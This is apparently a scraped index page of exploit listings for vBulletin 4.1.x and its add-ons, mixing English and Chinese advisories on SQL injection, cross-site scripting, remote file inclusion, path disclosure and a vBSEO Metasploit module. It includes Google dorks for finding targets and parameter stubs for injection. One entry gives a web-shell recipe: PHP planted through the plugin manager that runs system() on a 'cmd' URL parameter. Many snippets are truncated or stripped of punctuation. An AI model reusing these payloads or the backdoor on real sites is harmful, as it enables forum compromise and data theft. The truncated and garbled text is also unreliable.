vBulletin 4.1.10 Sql Injection Vulnerabilitiy

a bug in vBulletin 4.1.10 that allows to us to occur a Sql Injection on a Remote machin. Exploit Title : vBulletin 4.1.10 Sql Injection Vulnerabilitiy Author : IrIsT.Ir Discovered By : Am!r Home : http://IrIsT.Ir Software Link : http://vbulletin.com Security Risk : High Version : All Version Test...

VBulletin 4.1.10 'announcementid'参数SQL注入漏洞

Bugtraq ID: 52897 VBulletin是一款流行的论坛程序 VBulletin announcement.php脚本不正确处理提交给announcementid的参数，攻击者可以提交恶意SQL查询，获得敏感数据库信息或控制应用系统 0 VBulletin 4.1.10 厂商解决方案 目前没有详细解决方案提供: http://www.vbulletin.com/ TarGeT/announcement.php?a=&announcementid=Sql...

vBulletin 4.1.10 SQL Injection

Exploit Title : vBulletin 4.1.10 Sql Injection Vulnerabilitiy Author : IrIsT.Ir Discovered By : Am!r Home : http://IrIsT.Ir Software Link : http://vbulletin.com Security Risk : High Version : All Version Tested on : GNU/Linux Ubuntu - Windows Server - win7 Dork : "Powered By Vbulletin" Expl0iTs :...

vBulletin 4.1.10 - announcementid SQL Injection

vBulletin 4.1.10 - announcementid SQL Injection source: https://www.securityfocus.com/bid/52897/info VBulletin is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. A successful exploit may allow an attacker to...

vBulletin 4.1.10 - 'announcementid' SQL Injection

source: https://www.securityfocus.com/bid/52897/info VBulletin is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. A successful exploit may allow an attacker to compromise the application, access or modify data, ...

vBshop - Multiple Persistent Cross-Site Scripting Vulnerabilities

vBshop - Multiple Persistent Cross-Site Scripting Vulnerabilities Exploit Title: vBshop persistent XSS 0day Google Dork: "DragonByte Technologies Ltd" vbshout Date: 25/3/2012 9:32 PM EST Author: ToiL Software Link: http://www.dragonbyte-tech.com/ Version: all Tested on: all CVE : XSS Greeting fro...

vBshop Persistent Cross Site Scripting

Exploit Title: vBshop persistent XSS 0day Google Dork: "DragonByte Technologies Ltd" vbshout Date: 25/3/2012 9:32 PM EST Author: ToiL Software Link: http://www.dragonbyte-tech.com/ Version: all Tested on: all CVE : XSS Greeting from Team Odyessy. Today we will release a 0day for the vBulletin mod...

vBulletin 4.1.7 => 4.1.10 XSS Vulnerability

Exploit for php platform in category web applications Exploit Title: vBulletin 4.1.7 = 4.1.10 XSS Vulnerability Google Dork: intitle: powered by vBulletin 4.1.10 Date: 20/02/2012 Author: .e0f Software Link: http://www.vbulletin.com/ Version: 4.1.10 Others not tested Tested on: BackTrack 5 |...

vBulletin vBShout 6.0.5 Cross Site Scripting

Title: vBulletin vBShout Module &username=&hours=&frommonth=0&fromday=&fromyear =0&endmonth=0&endday=&endyear=0&chatroomid=0&orderby=DESC&perpage=5&s=&do=archive&instanceid=1 http://www.site.com/vbshout.php?message="&s=&do=archive&instanceid=1 vBShout is the ideal way to keep members on your foru...

vBSEO 3.6.0 PHP Code Injection

This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core' class Metasploit3 'vBSEO %q This...

vBSEO <= 3.6.0 "proc_deutf()" Remote PHP Code Injection Exploit

Exploit for php platform in category web applications require 'msf/core' class Metasploit3 'vBSEO %q This module exploits a vulnerability in the 'procdeutf' function defined in /includes/functionsvbseocpabstract.php. User input passed through 'charrepl' POST parameter isn't properly sanitized...

vBSEO 3.6.0 - proc_deutf() Remote PHP Code Injection (Metasploit)

vBSEO 3.6.0 - procdeutf Remote PHP Code Injection Metasploit require 'msf/core' class Metasploit3 'vBSEO %q This module exploits a vulnerability in the 'procdeutf' function defined in /includes/functionsvbseocpabstract.php. User input passed through 'charrepl' POST parameter isn't properly...

vBulletin多个产品'blog_post.php'安全绕过漏洞

vBulletin是一款基于PHP的应用程序 vBulletin blogpost.php脚本不正确检查权限，远程攻击者可以利用漏洞张贴博客日志 0 vBulletin 3.x vBulletin Publishing Suite 4.x 厂商解决方案 用户可参考如下供应商提供的安全公告获得补丁信息： https://www.vbulletin.com/forum/showthread.php/394259 http://tracker.vbulletin.com/browse/VBIV-13921...

vBulletin v4.1.10 - Path Information Disclosure

Document Title: =============== vBulletin v4.1.10 - Path Information Disclosure References Source: ==================== http://www.vulnerability-lab.com/getcontent.php?id=387 Release Date: ============= 2012-01-15 Vulnerability Laboratory ID VL-ID: ==================================== 387 Product...

vBulletin v4.1.10 - Path Information Disclosure

Document Title: =============== vBulletin v4.1.10 - Path Information Disclosure References Source: ==================== http://www.vulnerability-lab.com/getcontent.php?id=387 Release Date: ============= 2012-01-15 Vulnerability Laboratory ID VL-ID: ==================================== 387 Product...

VBDrupal Cross Site Scripting

Exploit Title: VBDrupal Cross Site Scripting Date: 6.01.2012 Author: Sony Software Link: http://drupal.org/download Web Browser : Mozilla Firefox Blog : http://st2tea.blogspot.com PoC: http://st2tea.blogspot.com/2012/01/vbdrupal-cross-site-scripting.html...

vBulletin Forum on the backend to get a shell and fix-vulnerability warning-the black bar safety net

In the background, into the plug-in management. Add the plug-in. Ajaxcomplete fill in the code: ifisset$GET'cmd'echo "h1cmd/h1pre"; system$GET'cmd';exit; To activate the mod Visit: www.badguest.cn /forumlocation/ajax. php? cmd=command For example: www. /forumlocation/ajax. php? cmd=ls, it execute...

VBulletin 4.1.7多个远程文件包含漏洞

BUGTRAQ ID: 50455 vBulletin是一个强大灵活并可完全根据自己的需要定制的论坛程序套件。 vBulletin在实现上存在多个远程文件包含漏洞，攻击者可利用这些漏洞获取敏感信息或在服务器进程中执行任意脚本代码，控制应用程序或计算机。 VBulletin 4.1.7 厂商补丁： VBulletin --------- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://www.vbulletin.com/ http://www.example.com/vB1/api.php?apiscript=RFI...

vBulletin 4.1.7 - Multiple Remote File Inclusions

source: https://www.securityfocus.com/bid/50455/info vBulletin is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input. An attacker can exploit these vulnerabilities to obtain potentially sensitive information or to execute arbitrary scri...

vBulletin 4.1.7 - Multiple Remote File Inclusions

vBulletin 4.1.7 - Multiple Remote File Inclusions source: https://www.securityfocus.com/bid/50455/info vBulletin is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input. An attacker can exploit these vulnerabilities to obtain potentially...